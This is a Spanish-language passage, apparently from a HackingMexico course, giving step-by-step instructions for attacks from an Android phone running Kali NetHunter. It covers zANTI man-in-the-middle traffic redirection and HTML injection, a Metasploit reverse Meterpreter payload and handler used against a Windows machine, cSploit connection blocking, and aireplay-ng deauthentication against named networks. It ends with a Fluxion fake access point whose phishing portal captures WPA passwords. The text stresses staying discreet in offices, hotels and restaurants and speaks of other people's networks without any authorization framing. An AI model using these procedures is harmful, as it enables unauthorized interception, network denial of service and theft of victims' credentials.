Redirección de trafico HTTP: Le permite re direccionar todo el tráfico HTTP a un sitio determinado o a un servidor. Si se pone en uso esta función, re direccionará todo el tráfico HTTP al URL que se especifique, en este caso se cambió el que bien por defecto (configuración predeterminada) por el de https://www.hackingmexico.one Pero si desea reenviar todo el tráfico a un sitio en particular, solo basta con pulsar en el icono de configuración, en donde habrá un área para introducir una URL, ingresa una URL en el campo y a continuación, vuelva a tocar en el icono de configuración para salirte del input. Una vez hechas las configuraciones correspondientes. Pondremos el ataque en funcionamiento presionando el botón de encendido. Lo que sucederá con esto es que mediante MITM de tipo ARP haremos que el tráfico de los sitios con protocolo HTTP se redirección hacía el sitio que queramos. Consulta las imágenes.
Imagen 7.2 y 7.3: Re direccionamiento de Tráfico.
Si prestamos atención a la barra de notificaciones en el movil, podemos ver que zANTI muestra un recuadro cada que tengamos un ataque MITM en acción, no pimporta el tipo, desde aquí podemos combiar la configuracion inical del ataque o detenerlo.
Imagen 7.4: Notificación de ataque MITM.
Remplazo de imágenes: Una cosa más que se puede realizar durante un ataque MITM mediante zANTI (y de otros modos también) es el remplazo de las imágenes en el sitio web con protocolo HTTP que visite la victima involucrada en el ataque, estas pueden ser remplazadas con cualquier imagen en todos los formatos (en ocasiones .GIF).
En las acciones de ataque MITM de zANTI se halla esta opción, solo basta con seleccionar el host víctima y posteriormente la imagen que deseemos, en este caso se usará la que viene precargada, habilitamos la opción e iniciamos el ataque:
Imagen 7.5, 7.6 y 7.7: Activación de modalidad de ataque y resultados.
Podemos notar que nuestra acción de ataque funciona, en 2 páginas distintas, así como también podemos ver que el ataque se realiza hacia una PC y un movil, en este caso un iPhone, solo basta con escoger el nuevo host en zANTI e iniciar el debido ataque hacia este. Inserción de codigo HTML: Otra caracteristica que trae consigo zANTI, es que dentro de las funcionalidades de ataques MITM podemos insertar codigo HTML en ciertas paginas a las que la victima o host objetivo visite. Dentro del menú de configuracion para ataques MITM, nos encontraremos con esta función, desde la cual escribiremos el codigo HTML que buscamos ejecutar en el navegador ajeno de la victima del atque Man in the Middle, esta funcion ya trae un pequeño código HTML que nos mostrará un mensaje acerca de zANTI. Para editarlo solo basta con pulsar el botón del engrane y hacer los cambios que vayamos a necesitar, para terminar se tiene que activar la funcion con el botón de encendido para posteriormete iniciar el ataque. Lo que se obtendrá será un “Message Dialog” en el navegador del equipo victima que visite una pagina con protocolo HTTP en este ejemplo fue “p0isoned by: HackingMexico”, puedes ingresar el codigo HTML de tu elección. Consulta las imágenes.
Imagen 7.8, 7.9 y 8.0: Inyección de código HTML.
NetHunter y Metasploit Framework. Como ya se sabe, Metasploit es una herramienta bastante famosa que permite llevar a cabo diferentes tareas de pentesting, desde la recolección de información de un host, hasta acciones de explotación y post-explotación. Como es de esperarse, NetHunter trae consigo a esta herramienta, cabe mencionar que no en su totalidad, es decir, la versión de Metasploit en NetHunter no cuenta con todas las características que traería una distro para pentesting como lo es Kali, Parrot OS o BackBox, por lo que algunas tareas de pentesting como esta demostración se verán limitadas debido a esto en NetHunter. Dentro del menú principal de NetHunter, nos encontramos con el Generador de Payloads de Metasploit, que es una herramienta que automatiza la creación de payloads en distintos lenguajes para que funcionen en diferentes plataformas. En el siguiente ejemplo se demostrará el uso de esta función para lograr la obtención de shells interactivas sobre el equipo víctima. Para poder realizar esto se requieren ciertos parámetros de configuración, como lo es el tipo de payload, puerto y dirección IP
en donde se creará el canal de comunicación
cliente/servidor, y por último las opciones del módulo, como lo son el tipo de payload y el protocolo de comunicación.
Imagen 8.1: Configuración de Payload de Python.
Teniendo todo listo, se hace una última revisión de la configuración y se genera el payload, al hacer esto se abrirá una nueva terminal en donde se mostrará el proceso de compilación de este, en donde se mostrarán los parámetros de configuración que se establecieron, así como el lugar donde reside el payload:
Imagen 8.2: Proceso de compilación en terminal de NetHunter.
Terminada la compilación de del payload, vemos que el contenido se guardó en el directorio “/sdcard/” dentro de “/root/”, en donde tendremos también un archivo de extensión .rc con el mismo nombre del payload, este será un archivo que trabajará de forma síncrona con el payload en formato .py. Este archivo .rc será el que configuremos en Metasploit, el cual trabajará con un Handler, juntos estarán a la escucha de conexiones y ejecuciones de exploits fuera del framework, en este caso nuestro payload que se ejecutará en la maquina víctima.
Como es de saberse, es recomendable iniciar el servicio de PostgreSQL, que es la base de datos con la que trabaja Metasploit, esto se consigue ejecutando el comando “service postgresql start”, es recomendable hacer esto en una terminal nueva. Luego de eso, el payload tendrá que mandarse a llamar desde Metasploit y configurarlo para que trabaje con un Listener de conexiones en la red y pueda arrojarnos la shell de Meterpreter al momento de su ejecución. Para esto ejecutáremos el siguiente comando desde dentro del directorio donde reside el payload: “msfconsole –q –r python-meterpreterstaged-reverse-tcp-666.py” En donde: msfconsole: Hace el llamado a la consola de Metasploit -q y –r: El primero hace uso del modo “quiet” o callado, sin que se tenga que mostrar el banner de inicio, y el otro indica el uso de un “resource file”, aquí es donde especificamos el script o payload generado. Al hacer esto, se iniciará la consola de Metasploit y establecerá de forma automática la configuración del payload para que trabaje en conjunto con el Listener de exploits y conexiones:
Imagen 8.3, 8.4 y 8.5: Configuración de Handler de conexiones y payload en Metasploit
Hecho esto, solo se hace llegar el payload a la maquina víctima que está en el mismo segmento de red que nosotros, en este caso se hizo la prueba con un Windows 10, en donde solo se tendrá que ejecutar el script de Python. Una vez conseguido esto, inmediatamente se formará el canal de comunicación entre Cliente/servidor (Atacante/Victima) para poder interactuar con él desde Metasploit, en donde se muestran detalles como lo son el tipo de payload, dirección IP, puerto e identificador:
Imagen 8.8: Obtención de Shell de Meterpreter en equipo Ajeno.
Ataques a redes Inalámbricas. En muchos lugares ha habido un incremento de la dependencia de redes inalámbricas, con el fin de los usuarios mantengan la conectividad de una forma más versátil. Las redes inalámbricas pueden resultar bastante vulnerables si no se establecen los protocolos y medidas de seguridad adecuadas, estos resultados pueden llevar desde degradar el servicio hasta el robo de información sensible. Como ya se sabe, Kali Linux y demás distribuciones de seguridad informática pueden ser utilizadas para hacer testing hacia redes inalámbricas, lo mismo se puede conseguir con Kali NetHunter, ya que este contiene herramientas para poder llevar a cabo este tipo de tareas con una mejor movilidad y de una forma más discreta. Habrá ocasiones en las que parte del trabajo de Pentesting, se tendrá que recorrer un área en específico en búsqueda de redes inalámbricas para hacerles “Stress testing” (DoS), crackeo de passwords y demás ataques. Aquí es cuando una vez más aparece NetHunter, para poder usarlo en estos escenarios va a ser necesaria un adaptador Wi-Fi inalámbrico y un cable tipo OTG para poder conectarlo a nuestro móvil. NOTA: No todas las antenas Wi-Fi externas se prestan para hacer este tipo de pruebas, por lo tanto no son compatibles con las distros para pentesting incluida Kali/Kali NetHunter, puesto a que no permiten la inyección de paquetes y no pueden hacer uso de Modo Monitor, en la siguiente lista podrás encontrar las mejor antenas Wi-Fi externas para ataques a redes inalámbricas: Alfa AWUS036NHA Alfa AWUS036NEH TP-Link TL-WN722N
Denegación de servicios (DoS) dentro y fuera de la red. Teniendo como ventaja a nuestro Dispositivo con NetHunter, será mejor hacer de esta forma el trabajo para mantener una discreción mayor en el lugar donde te encuentres, ya sea tu oficina, escuela, la recepción de un hotel o tu restaurante preferido, en vez de usar una laptop y asi evitar la atención que no estemos buscando. Como se ha visto hasta ahora, se pueden llevar a cabo múltiples acciones de ataque desde nuestro dispositivo Nexus, que es el que cuenta con distintas herramientas para hacer estos ataques mediante vectores deferentes, aquí es donde entra otra herramienta, cSploit. Disponible para la plataforma android, cSploit es un avanzado kit de herramientas bastante completo que se usa para realizar ataques en distintas formas ofreciéndonos algo que es demasiado útil al momento de llevar a cabo distintos ataques… portabilidad. Gracias a cSploit podemos hacer una amplia variedad de ataques con mayor flexibilidad, desde la recolección de información acerca de un Host en la red, hasta hacer denegación de servicios y la obtención de sesiones interactivas sobre el host objetivo, los usos principales de cSploit son:
Enumeración de Hosts.
Ataques Man in the Middle.
Bloqueo de conexiones
Encontrar vulnerabilidades.
Realizar la búsqueda de exploits para explotar las vulnerabilidades encontradas.
Colocación de Backdoors para acceso persistente.
¿Qué necesitarás para usar cSploit? Una red Wi-Fi a la que conectarse. Un objetivo que atacar. La herramienta ya viene precargada junto con NetHunter, por lo que no será necesario instalarla por nuestra cuenta. Si se desea instalar en un movil que no contenga Kali NetHunter va a ser necesario lo siguiente: Que el dispositivo Android cuente con una version 2.3 o superior con ROOT. Se requerirá la instalación de SUPERSU, de lo contrario no funcionará. El dispositivo Android deberá contar con la instalación de BusyBox, con todas las utilidades cargadas/instaladas para que funcionen junto con cSploit.
Imagen 8.9: cSploit en Android.
La suite de cSploit se pude descargar desde el siguiente link, en donde puedes encontrar documentación relacionada: https://github.com/cSploit/android/
1. DoS desde cSploit. En las demostraciones anteriores de ataques Man in the Middle, pudimos llevar a cabo distintas funciones de ataque como lo es el filtrar y manipular tráfico, hacer sniffing, etc. Sin embargo algo que se puede conseguir después de haber hecho esta
irrupción en el canal de
comunicación que nos permite actuar como MITM, lejos de hacer sniffing y monitoreo, se puede hacer ataques de denegación de servicio o conseguir inhabilitar cierta comunicación. Con cSploit podemos conseguir eso, gracias a su extensa variedad de funciones y acciones de ataque es posible realizar el bloqueo de conexiones que realiza un host o equipo en la red que nos encontremos. En el siguiente ejemplo se demostrará la eficacia para realizar el bloqueo de la comunicación vía web en un host. Teniendo instalado cSploit en nuestro movil y estando conectados a la red inalámbrica donde se encuentra el host víctima, abrimos la suite y veremos que enumerará los host funcionales (activos) en la red. En donde también nos muestra el Router al que estamos conectados y la máscara de subred, así como los detalles de cada posible objetivo que esté enlistado, en este caso seleccionaremos el que dice “USER”.
Imagen 9.0: Escaneo de la red por cSploit.
Algo que notaremos en la barra de notificaciones del movil, es que al momento de que abrimos cSploit, comenzará una conexión con el servicio del demonio de Metasploit, esto se debe a que la Suite trabaja en conjunto con el Framework de Metasploit que ya viene precargado en el dispositivo, al terminar este proceso aparecerá una notificación indicando la conexión exitosa de cSploit con el Framework:
Imagen 9.1 y 9.2: Status de Metasploit y panel de control de cSploit.
Metasploit cuenta con una útil característica llamada MSFRPCD. Esta proporciona acceso a una instancia del Framework a través de una conexión RPC (Remote Procedure Call) cSploit inicia esta llamada y conecta a él. Así cSploit podrá realizar la explotación de un cierto Host y conseguir sesiones de control sobre el/los objetivos comprometidos. Una vez que un host de destino ha sido comprometido, puede tomar el control con una shell, dando por hecho que el objetivo es tuyo. Más adelante tocaremos ese tema. Asi como otras herramientas, cSploit tiene opciones de configuración inicial antes de ponerse en acción, como se ve en las imágenes, podemos buscar redes Wi-Fi, crear, guardar o restaurar sesiones de trabajo, iniciar/detener el monitoreo de la red . Al igual que como lo vimos con zANTI, es el mismo equipo que cuenta con 7 puertos abiertos, lo seleccionamos. Dentro de este nuevo menú se enlistan todas las acciones de ataque y funciones que se pueden llevar a cabo hacia este host, seleccionaremos la categoría de Man in the Middle.
Una vez dentro de esta categoría, se mostrará un nuevo panel que cuenta con las acciones de ataque mediante MITM, desde aquí se pueden realizar diferentes tareas, como lo es el sniffing y el re direccionamiento del tráfico no cifrado, DNS Spoofing, remplazó de imágenes, Secuestro de sesiones no seguras, etc. Aquí es donde seleccionaremos la opción “Bloqueador de conexiones”, lo que haremos con esto será impedir que se establezca todo tipo de conexión con cualquier URL o sitio web, denegando el acceso a Internet desde nuestro movil, al poner el ataque en función, aparecerá una animación repetitiva en la opción seleccionada, si se quiere detener el ataque, solo se presiona de nuevo.
Imagen 9.3: Inicio y detención de Bloqueador de Conexiones.
El resultado será el tal cual antes descrito, impidiendo la navegacion en el host objetivo, las pruebas se realizaron visitando a Facebook, Gmail y Twitter, desde el Navegador Comodo IceDragon versión 49.0.0
Imagen 9.4: Acceso a internet impedido en host víctima.
Lo mismo funciona para los móviles, solo se selecciona el Host correspondiente en el listado de objetivos detectados por cSploit. La siguiente prueba se realizó hacía un iPhone con iOS 10.1.1, entrando a Google desde Safari, además de que también deniega las conexiones que se intentan establecer desde Apps, como lo es Facebook. Consulta las imágenes.
Imagen 9.5 y 9.6: Fallo de conexión en aplicaciones móviles.
NOTA: Esta simple modalidad de ataque puede ser bastante util/perjudicial, ya que puedes hacer un flooding en el Router dejando sin Internet a la red completa.
2. Denegación de Servicios a un Access Point mediante NetHunter Previamente se hicieron pruebas de denegación de servicios (DoS) mediante cSploit en donde conseguimos dejar inhábil la conexión a internet por parte de un usuario dentro del mismo segmento de red que nosotros. Yendo algo más lejos, se puede conseguir lo mismo con una red inalámbrica o AP objetivo, estableciendo el modo monitor en un adaptador inalámbrico dejando fuera por unos segundos o más tiempo a un solo cliente o a todos si así lo queremos, desde Kali y demás distros se puede hacer una extensa variedad de ataques de este tipo, y por supuesto también desde tu movil con NetHunter. ¿Qué necesitarás? Cable OTG Tu dispositivo con NetHunter Tarjeta o adaptador red inalámbrico (Para esta demostración recomiendo una TP-Link TL-WN722N) Teniendo todo listo, conectaremos nuestra antena al movil mediante el cable OTG y abrimos una nueva terminal de Kali. Estando dentro lo primero que haremos será habilitar nuestra nueva interface de red, que será “wlan1” iniciando el servicio de redes, ejecutaremos el primer comando que es: “service networking start”:
Imagen 9.7: Inicio de servicio de Networking en NetHunter.
Hecho esto notaremos un patrón de encendido en nuestra tarjeta. Esto nos indica que ya está en función esta interface de red y puede ser usada. Sabiendo esto podremos ponerla en función de modo monitor, una forma de hacer esto es con el comando “airmon-ng start wlan1”
Donde: airmon-ng start: Indica el uso de esta función por parte de Aircrack-ng wlan1: Es la interface que vamos a usar, que al igual que en muchos casos, “wlan1” es la más común.
¿Qué es Airmon-ng? Siendo una dependencia de Aircrack-ng, este script se utiliza para habilitar el modo monitor en las interfaces inalámbricas, en este caso hablamos de nuestra antena externa. Al conseguir esto, el sistema ahora nos proporcionará una interface identificadora para usar en modo monitor, en este caso será wlan1mon.
Imagen 9.9: Modo monitor activado.
Seguido de esto haremos uso de Airodump-ng para poder encontrar Routers inalámbricos o Access Points en el área. Este es fue hecho con la finalidad de capturar paquetes de redes inalámbricas con estándar 802.11, permitiéndonos asi encontrar redes inalámbricas en el lugar, para hacer esto desde nuestro movil con NetHunter ejecutáremos el comando “airdoump-ng wlan1mon”, para asi ver los AP que puede encontrar nuestro adaptador externo.
Imagen 10.0: Identificación de redes con Airodump-ng.
Una vez que hayas encontrado la red objetivo, detienes el ataque con Ctrl + C y abrirás otra terminal en el dispositivo, en esta nueva se hará uso de Aireplay-ng. Esta es una herramienta de inyección de paquetes, lo que quiere decir que puede realizar una variedad de ataques hacia redes inalámbricas, en este ejemplo se realizará el ataque hacia las redes INFINITUMyjf4 y ARRIS-7992. En la nueva terminal se ejecutará el siguiente comando:
“aireplay-ng -0 15 -a (aquí va el BSSID) -e (Aquí va el ESSID) wlan1mon”. Donde: aireplay-ng -0 15: Hace uso de la herramienta, estableciendo el tiempo que se quiere dejar funcionando el proceso de des autenticación. -a: Dirección MAC de AP. -e: ESSID o nombre del AP. wlan1mon: Es la interface que está en modo monitor.
Imagen 10.1: Hosts Expulsados de la red Ajena.
¿Qué fue lo que sucedió? Mediante Aireplay-ng, hemos enviado frames de des autenticación hacia el AP y a los clientes de este, como resultado expulsamos a todos los clientes que se encontraban en la red por los 15 segundos que establecimos, aunque puedes aumentar la duración del ataque por un tiempo mayor, sin embargo, el/los clientes podrán conectarse de inmediato en cuanto paremos el ataque. NOTA: Habrá ocasiones en las que la red objetivo estará operando en un canal distinto al de nosotros, por lo que habrá que asignar dicho canal a la interface de red funcional.
Imagen 10.2: Selección de canal.
Una forma en la que nos podemos percatar de esto es al momento de hacer el ataque DoS a dicha red, al hacerlo mediante Aireplay-ng, este nos indicará que el BSSID especificado no está operando en el mismo canal que nuestro dispositivo, por lo que se le tendrá que asignar un nuevo canal a este.
Una manera de hacerlo es con el comando “iwconfig”, quedando asi: iwconfig wlan1mon0 channel 4 Donde: iwconfig wlan1mon0: Se indica la interface que tenemos en modo monitor. channel 4: El canal en el que opera el AP ajeno. Hecho esto, se lanza de nuevo el ataque:
Imagen 10.3: Des autenticación de Hosts en red ajena.
3. Obtención de Contraseñas WEP/WPA/WPA2. WPA y WPA2 son dos algoritmos de seguridad diferentes que se utilizan para proteger las redes inalámbricas. WPA utiliza TKIP, mientras que WPA2 utiliza tanto (TKIP y AES). Hoy en día, los routers inalámbricos y Access Points usan un método rápido y sin problemas de conexión a una red segura. El WPS es una característica que permite una fácil configuración de redes seguras; sin embargo, este puede ser fácilmente crackeado u obtenido con las herramientas adecuadas que tengamos en nuestra distro para pentesting. Para esto WPA fue diseñado para reemplazar a WEP porque con el paso del tiempo se descubrió que los errores de seguridad hacen que sea fácil de obtener acceso no autorizado en cuestión de minutos. A pesar de que WPA y WPA2 son mucho más difíciles de crackear o descifrar, es posible para romper la protección WPA y hasta el último algoritmo de cifrado (WPA2). En la siguiente demostración el uso de la fuerza bruta no será el vector de ataque como suele serlo con muchas herramientas, ahora será el uso de un AP falso (Fake Honeypot) para la obtención del password del AP legítimo, asi no tendremos que esperar horas para encontrar este password de acceso a la red, solo bastará con la obtención de un handshake para conseguir nuestro propósito, aquí es cuando aparece Fluxion. ¿Qué es y qué hace? Fluxion es una herramienta que permite el crackeo u obtención de passwords de redes inalámbricas mediante un ataque MITM un poco más completo y complejo de los que has visto hasta ahora, algo que quizás notes es que Fluxion es un “remake” de “linset” (otra herramienta para crackeo de redes), con la diferencia de que Fluxion es más estable y trae consigo nuevas y mejores características, Fluxion hace el trabajo más rápido y limpio que muchas otras herramientas, y por eso haremos uso de el en la siguiente demostración. ¿Qué necesitarás para este ataque? Un adaptador de red inalámbrico que sea capaz de realizar la inyección de paquetes, en esta demostración se usará la antena TP-LINK TL-WN722N. Para hacer uso de Fluxion desde NetHunter, debemos iniciarlo desde su directorio raíz, este se encuentra en “/root/fluxion/”, y desde ahí instalarlo inicializarlo mediante el comando. NOTA: Fluxion ya viene instalado en el dispositivo Nexus 6 proporcionado para el curso, si deseas realizar la instalación en tu movil con NetHunter sigue los siguientes pasos.
1. MUY IMPORTANTE: Tu distro de NetHunter debe estar actualizada, ya que Fluxión utiliza varias dependencias que no se hallan en la distro de NetHunter, no basta con tener la última versión de esta, si no tener todos los “metapackages” actualizados, por esto es importante tener los repositorios de Kali actualizados. Estos se hallan en el archivo “sources.list” dentro del directorio “/etc/apt/”, hoy en día se usan los siguientes repositorios, por lo que el siguiente contenido se debe hallar en el archivo, viéndose así: deb http://http.kali.org/kali kali-rolling main contrib non-free # For source package access, uncomment the following line # deb-src http://http.kali.org/kali kali-rolling main contrib non-free
Imagen 10.4: REPOSITORIOS DE KALI.
2. Teniendo los repositorios correctos, es momento de poner al día el contenido de NetHunter, esto se hace mediante el comando “apt-get update”, al ejecutarlo se descargará e instalará el contenido necesario para que NetHunter se actualice. Si al ejecutarlo aparecen errores sobre los enlaces de consulta y descarga, podemos ejecutar el comando “apt-get update --fix-missing” para darle solución. Si los problemas persisten, lo más recomendable es desinstalar CHROOT e instalarlo de nuevo, este se encuentra en el menú de NetHunter, esto casi siempre arregla este tipo de problemas, la nueva descarga e instalación de CHROOT tomará alrededor de 20 min, al finalizarla, será necesario reiniciar el teléfono.
Imagen 10.5: Remoción de CHROOT.
3. Al reiniciarse ejecutamos de nuevo el comando “apt-get update”, para que se lleve a cabo esta actualización, esta tomará de 15 a 20 min, dependiendo la velocidad de internet en lugar, durante la actualización se pedirá la autorización de ciertas instalaciones, la otorgaremos, al finalizar esta actualización, desde el nuevo CHROOT, desde la opción “ADD METAPACKAGES” instalaremos un par de grupos de “metapackages”. Estos serán los de “kali-linux-nethunter” y “kali-linux-wireless”, el primero contendrá cosas adicionales para la distro, y el segundo contendrá las herramientas y dependencias para que trabajen en conjunto con Fluxion, teniendo seleccionados estos 2 solamente, hacemos clic en “Install & update”, esta otra instalación tomará de 10 a 15 min, al finalizarla tendremos lo necesario para poder instalar y usar Fluxion en NetHunter:
Imagen 10.6: Meta-paquetes a instalar
4. Descargaremos al movil la herramienta, solo basta con escribir el comando y pegar el siguiente enlace seguido Ahora sigue la descarga de Fluxion, para esto abriremos una nueva terminal y mediante el siguiente comando: git clone https://github.com/deltaxflux/fluxion.git”, lo que hará esto será crear un directorio en “/root/” con el nombre de Fluxion, donde estará la descarga que acabamos de hacer. Teniendo todo listo, será necesario hacer uso del VNC Manager o VNC Server de NetHunter, ya que Fluxion necesita un entorno gráfico en donde ejecutarse, esto se debe a que hace uso de “xterms”, y estas no funcionan en la terminal convencional que hemos utilizado hasta ahora. Por eso utilizaremos un básico entorno gráfico de Kali con el que cuenta NetHunter. Este necesita ser configurado antes de usarse, para esto navegamos al menú de NetHunter y seleccionamos “VNC Manager”, lo primero que se tienen que hacer es establecer un server, esto es con el botón “Start Server”, en donde se abrirá una terminal nueva y solo se tendrá que configurar un password para este server, el password queda a criterio tuyo:
Imagen 10.7: Botón de inicio de servidor VNC.
Al terminar eso, la terminal se cerrará en 5 segundos, esto es parte del proceso de configuración, después de eso volvemos a la ventana del VNC e ingresamos el password que establecimos en la terminal, dejamos lo demás como está y hacemos clic en “Open Connection”:
Imagen 10.8, 10.9 y 11.0: Configuración e inicio de servidor VNC,
5. Luciendo así el entorno gráfico de Kali, abriremos una terminal en este, esta se puede ubicar en la parte inferior de la pantalla en este nuevo panel:
Imagen 11.1: Terminal en VNC Server.
6. Para hacer zoom y poder usar el teclado se usan estos 3 botones:
Imagen 11.2: Botones de Zoom y Teclado.
7. Puesto que podemos llevar a cabo las mismas acciones por línea de comandos tanto en este entorno gráfico como en el común, podemos acceder a los mismos directorios, dentro de la terminal navegamos hacia el directorio “/root/fluxion/”, en donde reside la herramienta. Dentro ejecutamos el comando “bash Installer.sh”, este inciará la instalación de Fluxion en NetHunter, solo basta con esperar a que termine. 8. Al finalizar, conectaremos nuestra antena inalámbrica al movil mediante el cable OTG, hecho eso entramos al directorio de nuevo y ejecutamos Fluxion de esta forma “./fluxion”, al hacerlo, hará el Checking de las dependencias necesarias para su uso, y ya podremos usarlo:
Imagen 11.3: Directorio de Fluxion en Kali NetHunter por VNC server.
Ahora que hemos finalizado la instalación, aparecerá un cuadro de dialogo en donde especifican que no se hará mal uso de Fluxion ni tampoco el realizar ataques hacia redes ajenas, tendremos que aceptar este mensaje para poder continuar, así que le presionamos “Ok”. Al aceptar nos aparecerá un menú en el que seleccionaremos el lenguaje de nuestra preferencia, luego de ello aparecerá otro menú en donde tendremos que escoger la interface de red que se usará (nuestro adaptador inalámbrico), lo seleccionamos usando la opción 2, en este caso se trata de “wlan1”:
Imagen 11.4: Selección de interface de red en Fluxion.
Seguido de esto tendremos que especificar si se quiere buscar redes en un canal en específico o en todos, es recomendable hacer siempre la búsqueda en todos los canales, por lo que seleccionaremos la primera opción, al hacerlo aparecerá una nueva ventana “xterm” nombrada “WIFI o WIFI Monitor” en donde nuestra antena enviará tramas de sondeo para hallar Access Points:
Imagen 11.5 y 11.6: Selección de canales e identificación de redes.
En esta nueva ventana se mostrarán los AP hallados en el área por la antena, mostrando en columnas su BSSID, Intensidad de señal, Beacons, Canal, Tipo de Protección, y nombre de cada uno. Este proceso de “Search & Find” no se detendrá hasta que se cierre la ventana, por eso la cerraremos después de identificar la red objetivo para poder continuar en Fluxion. Volviendo a él veremos estos mismos datos de nuevo, con la diferencia de que aquí se muestran los AP o redes que muestran actividad (con clientes conectados), diferenciándose con un asterisco al final de estas, aquí seleccionaremos la red víctima:
Imagen 11.7: Selección de red objetivo.
Teniendo escogida la red, aparecerá otro menú en donde seleccionaremos el vector de ataque a usar, además de mostrar los detalles que previamente vimos acerca de la red, en este caso usaremos a opción nombrada “Fake AP – Hostapd”. Luego de esto tendremos que especificar en donde se va a guardar el file con extensión “.cap” que contendrá el o los “Handshakes” que se obtengan durante el ataque para usarlos en un futuro si asi se decide, en este caso dejaremos vacío este campo, puesto que aún no tenemos estos “Handshakes”:
Imagen 11.8 y 11.9: Selección de opción de ataque y directorio predeterminado.
Luego de lo anterior, se tendrá que seleccionar un método de revisión o “Checking” de los “Handshakes” que se vayan obteniendo, aquí seleccionaremos a “Pyrit” ya que realiza el trabajo más rápido que otros debido a su código, en donde nos permite obtener ciertas fases de autenticación en un tiempo más corto, luego de esto se tendrá que seleccionar el método o herramienta para la des autenticación de clientes, aquí seleccionaremos a “mdk3”, que previamente usamos y entendimos como funciona, aquí en Fluxion su acción esta automatizada:
Imagen 12.0 y 12.1: Selección de opción y método de obtención de Handshake.
Al seleccionar esto, comenzará el ataque de expulsión de clientes en la red objetivo, esto con el fin de que se conecten de nuevo ya sea de forma automática o voluntaria y así obtener el “Handshake”, notarás que de las ventanas abiertas habrá una donde se muestra el monitoreo y captura de “Handshakes” y otra donde se lleva a cabo el ataque “deauth”, esto con el fin de darle continuidad a la obtención de “Handshakes”:
Imagen 12.2: Handshake obtenido y ataque DoS por mdk3.
Una vez conseguido el “Handshake” volvemos al panel de Fluxion y seleccionamos la acción de “Chequear Handshake” para hacer la validación de este. Es posible que estos salgan “Corruptos” (inservibles) al momento del “Checking”, lo recomendable es esperar a obtener más o comenzar el ataque de nuevo desde el comienzo. Si el “Handshake” obtenido es válido, se mostrará un menú nuevo en donde escogeremos si queremos crear un certificado SSL o usar uno existente, crearemos uno seleccionando la primera opción. Esto se hace con la finalidad de personificar un portal falso y asi se le proporcione mayor fidelidad a nuestra acción de ataque, mostrando asi un “Fake Login” al momento de conectarse al AP falso.
Imagen 12.3 y 12.4: Chequeo de Handshake y creación de certificado SSL..
Al terminar de crearse el certificado SSL, tendremos que seleccionar el método de obtención del password de la red, como es de saberse, vamos a crear un AP Falso, por lo que tendremos que usar un vector de ataque mediante ingeniería social, por lo que escogeremos la opción de “Web Interface” que será lo que nos permitirá hacer uso del portal falso. Al seleccionarla, aparecerá un listado con múltiples interfaces web en diferentes idiomas, seleccionaremos el de nuestra preferencia, para este ejemplo se usó la opción 5:
Imagen 12.5 y 12.6: Selección de método de captura de password y página de Loggeo.
Al seleccionar la interfaz web, se ocultará la red víctima y se creará un Access Point Falso con el nombre de la red objetivo, seguido de esto comenzarán varios procesos, entre ellos un FAKE DNS, en donde todo el tráfico que esté fluyendo por el AP falso será redirigido a nuestro movil mostrándolo en la terminal donde corre este proceso. También tenemos un Filtro DHCP, este va a capturar todas las solicitudes o “requests” que provengan por parte del dispositivo o dispositivos conectados al Access Point, así como también tenemos una terminal en donde se muestra información a detalle a cerca del AP Falso que creamos, y los clientes (dispositivos) que están conectados a él, en este caso se ha conectado intencionalmente un dispositivo iOS al Fake AP, por lo que las ventanas o terminales muestran información relevante a ello:
Imágenes 12.7, 12.8, 12.9 y 13.0: Paneles de trabajo de Fluxion.
De lado del movil del cliente (sea un dispositivo Android o iOS) al mostrar las redes inalámbricas disponibles notaremos que ha desaparecido el identificador de red segura para la red legítima y se mostrará como abierta, este es nuestro Access Point Falso, al seleccionarlo se abrirá un panel que contendrá el “Fake Login”. En este portal falso en donde se ingresará la contraseña del AP legítimo. Al crearse este Fake AP, se mostrará como una red abierta, por lo que al conectarse a ella aparece el “Banner” de “Recomendación de Seguridad” (en Android no es así)
Imagen 13.1 y 13.2: Acceso Point Falso en IOS Y Android.
Una vez que el cliente/los clientes víctima intenten conectarse a la red, se les mostrará el “Fake Login” que está trabajando en conjunto con el certificado SSL antes creado, dentro de este sitio falso o “Scam” se les pedirá el password para poder hacer uso de la red Wi-Fi. Una vez proporcionado el password de la red, se mostrará un nuevo recuadro de espera, mientras tanto en el movil, mediante la conexión al AP Legítimo Fluxion hará un rápido “Checking” del password para verificar si este es correcto, si lo es, detendrá el ataque de inmediato y revivirá el AP legítimo para que la víctima o el cliente se conecten en ese mismo momento, de lo contrario, si no es el password correcto se seguirá pidiendo:
Imagen 13.3 y 13.4: Envío de password mediante portal falso.
Al ingresarse el password correcto y terminado el proceso anterior, en Kali veremos que ha aparecido una nueva ventana nombrada “Wifi Information” en donde aparece la clave WPA/WPA2 de la red legítima:
Imagen 13.5: Password visualizado después del envío en el portal falso.
Así como también el directorio del archivo de salida o “output” donde se guardan el o los passwords de la redes crackeadas, el cual es “/root/”NombreDeLaRed -password.txt”:
Imagen 13.6: Password guardados de redes Hackeadas.
Habiendo terminado todo, podemos detener y cerrar Fluxion, este al cerrarse, establece la configuración previa antes de ser usado o ponerse en marcha, devolviendo los valores anteriores a varios parámetros de configuración y dejando las interfaces de red tal cual antes de haber sido inicializado:
Imagen 13.7: Cierre de Fluxion.
Como se vio en esta demostración, la obtención de passwords de Routers inalámbricos con seguridad WPA/WPA2/WEP resulto bastante fácil y rápida, sin tener que recurrir a usa la Fuerza Bruta y que nos tome mucho tiempo o que simplemente no podamos obtenerla por otras limitantes. Cabe destacar que el uso de Fake Access Points o Honeypots resulta bastante eficiente para cumplir propósitos de este tipo, asi como el uso de ingeniería social para persuadir a la víctima a ingresar a portales falsos, ejemplificando aquí su uso para persuadir a la/las víctimas a proporcionar contraseñas de redes Wi-Fi con tal de seguir navegando en internet. EXTRA: Como se mostró a lo largo del ejercicio, se vieron involucradas acciones de ataque tipo “Denial of service” al montar el Fake AP, esto quiere decir que Fluxion puede hacer un ataque de tipo “deauth” hacía una red en específico, aunque esta no sea su finalidad, resulta útil en escenarios como los antes descritos en los ejercicios de “DoS”, y más porque Fluxion automatiza la mayoría del proceso, solo basta con seguir los pasos anterior hasta la captura de los Handshakes o hasta la creación del AP Falso si es que queremos ver qué dispositivos se están expulsando. Solo bastará con seleccionar la red objetivo y el método de captura de Handshake (método deauth), siendo “mdk3” el más eficiente:
Imagen 13.8, 13.9 y 14.0: DoS hacia una red mediante Fluxion.
